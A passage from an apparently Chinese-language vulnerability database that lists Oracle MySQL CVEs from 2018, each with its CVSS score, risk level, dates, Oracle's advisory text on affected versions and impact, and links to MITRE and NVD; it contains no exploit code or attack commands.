Vulnerability in the MySQL Server component of Oracle MySQL 32 | (subcomponent: Server: Storage Engines). Supported versions that are 33 | affected are 5.5.61 and prior, 5.6.41 and prior, 5.7.23 and prior and 34 | 8.0.12 and prior. Easily exploitable vulnerability allows high 35 | privileged attacker with network access via multiple protocols to 36 | compromise MySQL Server. Successful attacks of this vulnerability can 37 | result in unauthorized ability to cause a hang or frequently 38 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 39 | 4.9 (Availability impacts). CVSS Vector: 40 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 41 | 42 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3282
https://nvd.nist.gov/vuln/detail/CVE-2018-3282

漏洞编号	CVE-2018-3279
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 43 | (subcomponent: Server: Security: Roles). Supported versions that are 44 | affected are 8.0.12 and prior. Easily exploitable vulnerability allows 45 | high privileged attacker with network access via multiple protocols to 46 | compromise MySQL Server. Successful attacks of this vulnerability can 47 | result in unauthorized ability to cause a hang or frequently 48 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 49 | 4.9 (Availability impacts). CVSS Vector: 50 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 51 | 52 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3279
https://nvd.nist.gov/vuln/detail/CVE-2018-3279

漏洞编号	CVE-2018-3278
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 53 | (subcomponent: Server: RBR). Supported versions that are affected are 54 | 5.6.41 and prior, 5.7.23 and prior and 8.0.12 and prior. Easily 55 | exploitable vulnerability allows high privileged attacker with network 56 | access via multiple protocols to compromise MySQL Server. Successful 57 | attacks of this vulnerability can result in unauthorized ability to 58 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 59 | Server. CVSS 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 60 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 61 | 62 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3278
https://nvd.nist.gov/vuln/detail/CVE-2018-3278

漏洞编号	CVE-2018-3277
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 63 | (subcomponent: InnoDB). Supported versions that are affected are 64 | 5.7.23 and prior and 8.0.12 and prior. Easily exploitable 65 | vulnerability allows high privileged attacker with network access via 66 | multiple protocols to compromise MySQL Server. Successful attacks of 67 | this vulnerability can result in unauthorized ability to cause a hang 68 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 69 | 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 70 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 71 | 72 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3277
https://nvd.nist.gov/vuln/detail/CVE-2018-3277

漏洞编号	CVE-2018-3276
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 73 | (subcomponent: Server: Memcached). Supported versions that are 74 | affected are 5.6.41 and prior, 5.7.23 and prior and 8.0.12 and prior. 75 | Easily exploitable vulnerability allows high privileged attacker with 76 | network access via multiple protocols to compromise MySQL Server. 77 | Successful attacks of this vulnerability can result in unauthorized 78 | ability to cause a hang or frequently repeatable crash (complete DOS) 79 | of MySQL Server. CVSS 3.0 Base Score 4.9 (Availability impacts). CVSS 80 | Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 81 | 82 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3276
https://nvd.nist.gov/vuln/detail/CVE-2018-3276

漏洞编号	CVE-2018-3251
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 83 | (subcomponent: InnoDB). Supported versions that are affected are 84 | 5.6.41 and prior, 5.7.23 and prior and 8.0.12 and prior. Easily 85 | exploitable vulnerability allows low privileged attacker with network 86 | access via multiple protocols to compromise MySQL Server. Successful 87 | attacks of this vulnerability can result in unauthorized ability to 88 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 89 | Server. CVSS 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 90 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 91 | 92 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3251
https://nvd.nist.gov/vuln/detail/CVE-2018-3251

漏洞编号	CVE-2018-3247
威胁评分	5.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 93 | (subcomponent: Server: Merge). Supported versions that are affected 94 | are 5.6.41 and prior, 5.7.23 and prior and 8.0.12 and prior. Easily 95 | exploitable vulnerability allows high privileged attacker with network 96 | access via multiple protocols to compromise MySQL Server. Successful 97 | attacks of this vulnerability can result in unauthorized ability to 98 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 99 | Server as well as unauthorized update, insert or delete access to some 100 | of MySQL Server accessible data. CVSS 3.0 Base Score 5.5 (Integrity 101 | and Availability impacts). CVSS Vector: 102 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). 103 | 104 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3247
https://nvd.nist.gov/vuln/detail/CVE-2018-3247

漏洞编号	CVE-2018-3212
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 105 | (subcomponent: Server: Information Schema). Supported versions that 106 | are affected are 8.0.12 and prior. Easily exploitable vulnerability 107 | allows high privileged attacker with network access via multiple 108 | protocols to compromise MySQL Server. Successful attacks of this 109 | vulnerability can result in unauthorized ability to cause a hang or 110 | frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 111 | Base Score 4.9 (Availability impacts). CVSS Vector: 112 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 113 | 114 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3212
https://nvd.nist.gov/vuln/detail/CVE-2018-3212

漏洞编号	CVE-2018-3203
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 115 | (subcomponent: Server: Optimizer). Supported versions that are 116 | affected are 8.0.12 and prior. Easily exploitable vulnerability allows 117 | low privileged attacker with network access via multiple protocols to 118 | compromise MySQL Server. Successful attacks of this vulnerability can 119 | result in unauthorized ability to cause a hang or frequently 120 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 121 | 6.5 (Availability impacts). CVSS Vector: 122 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 123 | 124 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3203
https://nvd.nist.gov/vuln/detail/CVE-2018-3203

漏洞编号	CVE-2018-3200
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 125 | (subcomponent: InnoDB). Supported versions that are affected are 126 | 5.7.23 and prior and 8.0.12 and prior. Easily exploitable 127 | vulnerability allows high privileged attacker with network access via 128 | multiple protocols to compromise MySQL Server. Successful attacks of 129 | this vulnerability can result in unauthorized ability to cause a hang 130 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 131 | 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 132 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 133 | 134 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3200
https://nvd.nist.gov/vuln/detail/CVE-2018-3200

漏洞编号	CVE-2018-3195
威胁评分	5.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 135 | (subcomponent: Server: DDL). Supported versions that are affected are 136 | 8.0.12 and prior. Easily exploitable vulnerability allows high 137 | privileged attacker with network access via multiple protocols to 138 | compromise MySQL Server. Successful attacks of this vulnerability can 139 | result in unauthorized ability to cause a hang or frequently 140 | repeatable crash (complete DOS) of MySQL Server as well as 141 | unauthorized update, insert or delete access to some of MySQL Server 142 | accessible data. CVSS 3.0 Base Score 5.5 (Integrity and Availability 143 | impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). 144 | 145 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3195
https://nvd.nist.gov/vuln/detail/CVE-2018-3195

漏洞编号	CVE-2018-3187
威胁评分	5.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 146 | (subcomponent: Server: Optimizer). Supported versions that are 147 | affected are 5.7.23 and prior and 8.0.12 and prior. Easily exploitable 148 | vulnerability allows high privileged attacker with network access via 149 | multiple protocols to compromise MySQL Server. Successful attacks of 150 | this vulnerability can result in unauthorized ability to cause a hang 151 | or frequently repeatable crash (complete DOS) of MySQL Server as well 152 | as unauthorized update, insert or delete access to some of MySQL 153 | Server accessible data. CVSS 3.0 Base Score 5.5 (Integrity and 154 | Availability impacts). CVSS Vector: 155 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). 156 | 157 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3187
https://nvd.nist.gov/vuln/detail/CVE-2018-3187

漏洞编号	CVE-2018-3186
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 158 | (subcomponent: Server: Optimizer). Supported versions that are 159 | affected are 8.0.12 and prior. Easily exploitable vulnerability allows 160 | high privileged attacker with network access via multiple protocols to 161 | compromise MySQL Server. Successful attacks of this vulnerability can 162 | result in unauthorized ability to cause a hang or frequently 163 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 164 | 4.9 (Availability impacts). CVSS Vector: 165 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 166 | 167 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3186
https://nvd.nist.gov/vuln/detail/CVE-2018-3186

漏洞编号	CVE-2018-3185
威胁评分	5.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 168 | (subcomponent: InnoDB). Supported versions that are affected are 169 | 5.7.23 and prior and 8.0.12 and prior. Easily exploitable 170 | vulnerability allows high privileged attacker with network access via 171 | multiple protocols to compromise MySQL Server. Successful attacks of 172 | this vulnerability can result in unauthorized ability to cause a hang 173 | or frequently repeatable crash (complete DOS) of MySQL Server as well 174 | as unauthorized update, insert or delete access to some of MySQL 175 | Server accessible data. CVSS 3.0 Base Score 5.5 (Integrity and 176 | Availability impacts). CVSS Vector: 177 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). 178 | 179 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3185
https://nvd.nist.gov/vuln/detail/CVE-2018-3185

漏洞编号	CVE-2018-3182
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 180 | (subcomponent: Server: DML). Supported versions that are affected are 181 | 8.0.12 and prior. Easily exploitable vulnerability allows low 182 | privileged attacker with network access via multiple protocols to 183 | compromise MySQL Server. Successful attacks of this vulnerability can 184 | result in unauthorized ability to cause a hang or frequently 185 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 186 | 6.5 (Availability impacts). CVSS Vector: 187 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 188 | 189 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3182
https://nvd.nist.gov/vuln/detail/CVE-2018-3182

漏洞编号	CVE-2018-3174
威胁评分	5.3
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 190 | (subcomponent: Client programs). Supported versions that are affected 191 | are 5.5.61 and prior, 5.6.41 and prior, 5.7.23 and prior and 8.0.12 192 | and prior. Difficult to exploit vulnerability allows high privileged 193 | attacker with logon to the infrastructure where MySQL Server executes 194 | to compromise MySQL Server. While the vulnerability is in MySQL 195 | Server, attacks may significantly impact additional products. 196 | Successful attacks of this vulnerability can result in unauthorized 197 | ability to cause a hang or frequently repeatable crash (complete DOS) 198 | of MySQL Server. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS 199 | Vector: (CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H). 200 | 201 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3174
https://nvd.nist.gov/vuln/detail/CVE-2018-3174

漏洞编号	CVE-2018-3173
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 202 | (subcomponent: InnoDB). Supported versions that are affected are 203 | 5.7.23 and prior and 8.0.12 and prior. Easily exploitable 204 | vulnerability allows high privileged attacker with network access via 205 | multiple protocols to compromise MySQL Server. Successful attacks of 206 | this vulnerability can result in unauthorized ability to cause a hang 207 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 208 | 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 209 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 210 | 211 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3173
https://nvd.nist.gov/vuln/detail/CVE-2018-3173

漏洞编号	CVE-2018-3171
威胁评分	5.0
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 212 | (subcomponent: Server: Partition). Supported versions that are 213 | affected are 5.7.23 and prior and 8.0.12 and prior. Difficult to 214 | exploit vulnerability allows high privileged attacker with network 215 | access via multiple protocols to compromise MySQL Server. Successful 216 | attacks of this vulnerability can result in unauthorized ability to 217 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 218 | Server as well as unauthorized update, insert or delete access to some 219 | of MySQL Server accessible data. CVSS 3.0 Base Score 5.0 (Integrity 220 | and Availability impacts). CVSS Vector: 221 | (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H). 222 | 223 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3171
https://nvd.nist.gov/vuln/detail/CVE-2018-3171

漏洞编号	CVE-2018-3170
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 224 | (subcomponent: Server: DDL). Supported versions that are affected are 225 | 8.0.12 and prior. Easily exploitable vulnerability allows high 226 | privileged attacker with network access via multiple protocols to 227 | compromise MySQL Server. Successful attacks of this vulnerability can 228 | result in unauthorized ability to cause a hang or frequently 229 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 230 | 4.9 (Availability impacts). CVSS Vector: 231 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 232 | 233 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3170
https://nvd.nist.gov/vuln/detail/CVE-2018-3170

漏洞编号	CVE-2018-3162
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 234 | (subcomponent: InnoDB). Supported versions that are affected are 235 | 5.7.23 and prior and 8.0.12 and prior. Easily exploitable 236 | vulnerability allows high privileged attacker with network access via 237 | multiple protocols to compromise MySQL Server. Successful attacks of 238 | this vulnerability can result in unauthorized ability to cause a hang 239 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 240 | 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 241 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 242 | 243 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3162
https://nvd.nist.gov/vuln/detail/CVE-2018-3162

漏洞编号	CVE-2018-3161
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 244 | (subcomponent: Server: Partition). Supported versions that are 245 | affected are 5.7.23 and prior and 8.0.12 and prior. Easily exploitable 246 | vulnerability allows high privileged attacker with network access via 247 | multiple protocols to compromise MySQL Server. Successful attacks of 248 | this vulnerability can result in unauthorized ability to cause a hang 249 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 250 | 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 251 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 252 | 253 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3161
https://nvd.nist.gov/vuln/detail/CVE-2018-3161

漏洞编号	CVE-2018-3156
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 254 | (subcomponent: InnoDB). Supported versions that are affected are 255 | 5.6.41 and prior, 5.7.23 and prior and 8.0.12 and prior. Easily 256 | exploitable vulnerability allows low privileged attacker with network 257 | access via multiple protocols to compromise MySQL Server. Successful 258 | attacks of this vulnerability can result in unauthorized ability to 259 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 260 | Server. CVSS 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 261 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 262 | 263 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3156
https://nvd.nist.gov/vuln/detail/CVE-2018-3156

漏洞编号	CVE-2018-3155
威胁评分	7.7
风险等级	高
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 264 | (subcomponent: Server: Parser). Supported versions that are affected 265 | are 5.7.23 and prior and 8.0.12 and prior. Easily exploitable 266 | vulnerability allows low privileged attacker with network access via 267 | multiple protocols to compromise MySQL Server. While the vulnerability 268 | is in MySQL Server, attacks may significantly impact additional 269 | products. Successful attacks of this vulnerability can result in 270 | unauthorized ability to cause a hang or frequently repeatable crash 271 | (complete DOS) of MySQL Server. CVSS 3.0 Base Score 7.7 (Availability 272 | impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H). 273 | 274 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3155
https://nvd.nist.gov/vuln/detail/CVE-2018-3155

漏洞编号	CVE-2018-3145
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 275 | (subcomponent: Server: Parser). Supported versions that are affected 276 | are 8.0.12 and prior. Easily exploitable vulnerability allows low 277 | privileged attacker with network access via multiple protocols to 278 | compromise MySQL Server. Successful attacks of this vulnerability can 279 | result in unauthorized ability to cause a hang or frequently 280 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 281 | 6.5 (Availability impacts). CVSS Vector: 282 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 283 | 284 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3145
https://nvd.nist.gov/vuln/detail/CVE-2018-3145

漏洞编号	CVE-2018-3144
威胁评分	5.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 285 | (subcomponent: Server: Security: Audit). Supported versions that are 286 | affected are 5.7.23 and prior and 8.0.12 and prior. Difficult to 287 | exploit vulnerability allows unauthenticated attacker with network 288 | access via multiple protocols to compromise MySQL Server. Successful 289 | attacks of this vulnerability can result in unauthorized ability to 290 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 291 | Server. CVSS 3.0 Base Score 5.9 (Availability impacts). CVSS Vector: 292 | (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H). 293 | 294 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3144
https://nvd.nist.gov/vuln/detail/CVE-2018-3144

漏洞编号	CVE-2018-3143
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 295 | (subcomponent: InnoDB). Supported versions that are affected are 296 | 5.6.41 and prior, 5.7.23 and prior and 8.0.12 and prior. Easily 297 | exploitable vulnerability allows low privileged attacker with network 298 | access via multiple protocols to compromise MySQL Server. Successful 299 | attacks of this vulnerability can result in unauthorized ability to 300 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 301 | Server. CVSS 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 302 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 303 | 304 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3143
https://nvd.nist.gov/vuln/detail/CVE-2018-3143

漏洞编号	CVE-2018-3137
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 305 | (subcomponent: Server: Optimizer). Supported versions that are 306 | affected are 8.0.12 and prior. Easily exploitable vulnerability allows 307 | low privileged attacker with network access via multiple protocols to 308 | compromise MySQL Server. Successful attacks of this vulnerability can 309 | result in unauthorized ability to cause a hang or frequently 310 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 311 | 6.5 (Availability impacts). CVSS Vector: 312 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 313 | 314 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3137
https://nvd.nist.gov/vuln/detail/CVE-2018-3137

漏洞编号	CVE-2018-3133
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-10-16

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 315 | (subcomponent: Server: Parser). Supported versions that are affected 316 | are 5.5.61 and prior, 5.6.41 and prior, 5.7.23 and prior and 8.0.12 317 | and prior. Easily exploitable vulnerability allows low privileged 318 | attacker with network access via multiple protocols to compromise 319 | MySQL Server. Successful attacks of this vulnerability can result in 320 | unauthorized ability to cause a hang or frequently repeatable crash 321 | (complete DOS) of MySQL Server. CVSS 3.0 Base Score 6.5 (Availability 322 | impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 323 | 324 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3133
https://nvd.nist.gov/vuln/detail/CVE-2018-3133

漏洞编号	CVE-2018-3084
威胁评分	2.8
风险等级	低
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 325 | (subcomponent: Shell: Core / Client). Supported versions that are 326 | affected are 8.0.11 and prior. Easily exploitable vulnerability allows 327 | low privileged attacker with logon to the infrastructure where MySQL 328 | Server executes to compromise MySQL Server. Successful attacks require 329 | human interaction from a person other than the attacker. Successful 330 | attacks of this vulnerability can result in unauthorized ability to 331 | cause a partial denial of service (partial DOS) of MySQL Server. CVSS 332 | 3.0 Base Score 2.8 (Availability impacts). CVSS Vector: 333 | (CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L). 334 | 335 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3084
https://nvd.nist.gov/vuln/detail/CVE-2018-3084

漏洞编号	CVE-2018-3082
威胁评分	2.7
风险等级	低
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 336 | (subcomponent: Server: DDL). Supported versions that are affected are 337 | 8.0.11 and prior. Easily exploitable vulnerability allows high 338 | privileged attacker with network access via multiple protocols to 339 | compromise MySQL Server. Successful attacks of this vulnerability can 340 | result in unauthorized read access to a subset of MySQL Server 341 | accessible data. CVSS 3.0 Base Score 2.7 (Confidentiality impacts). 342 | CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N). 343 | 344 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3082
https://nvd.nist.gov/vuln/detail/CVE-2018-3082

漏洞编号	CVE-2018-3081
威胁评分	5.0
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Client component of Oracle MySQL 345 | (subcomponent: Client programs). Supported versions that are affected 346 | are 5.5.60 and prior, 5.6.40 and prior, 5.7.22 and prior and 8.0.11 347 | and prior. Difficult to exploit vulnerability allows high privileged 348 | attacker with network access via multiple protocols to compromise 349 | MySQL Client. Successful attacks of this vulnerability can result in 350 | unauthorized ability to cause a hang or frequently repeatable crash 351 | (complete DOS) of MySQL Client as well as unauthorized update, insert 352 | or delete access to some of MySQL Client accessible data. CVSS 3.0 353 | Base Score 5.0 (Integrity and Availability impacts). CVSS Vector: 354 | (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:L/A:H). 355 | 356 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3081
https://nvd.nist.gov/vuln/detail/CVE-2018-3081

漏洞编号	CVE-2018-3080
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 357 | (subcomponent: Server: DDL). Supported versions that are affected are 358 | 8.0.11 and prior. Easily exploitable vulnerability allows high 359 | privileged attacker with network access via multiple protocols to 360 | compromise MySQL Server. Successful attacks of this vulnerability can 361 | result in unauthorized ability to cause a hang or frequently 362 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 363 | 4.9 (Availability impacts). CVSS Vector: 364 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 365 | 366 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3080
https://nvd.nist.gov/vuln/detail/CVE-2018-3080

漏洞编号	CVE-2018-3079
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 367 | (subcomponent: InnoDB). Supported versions that are affected are 368 | 8.0.11 and prior. Easily exploitable vulnerability allows high 369 | privileged attacker with network access via multiple protocols to 370 | compromise MySQL Server. Successful attacks of this vulnerability can 371 | result in unauthorized ability to cause a hang or frequently 372 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 373 | 4.9 (Availability impacts). CVSS Vector: 374 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 375 | 376 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3079
https://nvd.nist.gov/vuln/detail/CVE-2018-3079

漏洞编号	CVE-2018-3078
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 377 | (subcomponent: Server: DDL). Supported versions that are affected are 378 | 8.0.11 and prior. Easily exploitable vulnerability allows high 379 | privileged attacker with network access via multiple protocols to 380 | compromise MySQL Server. Successful attacks of this vulnerability can 381 | result in unauthorized ability to cause a hang or frequently 382 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 383 | 4.9 (Availability impacts). CVSS Vector: 384 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 385 | 386 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3078
https://nvd.nist.gov/vuln/detail/CVE-2018-3078

漏洞编号	CVE-2018-3077
威胁评分	4.9
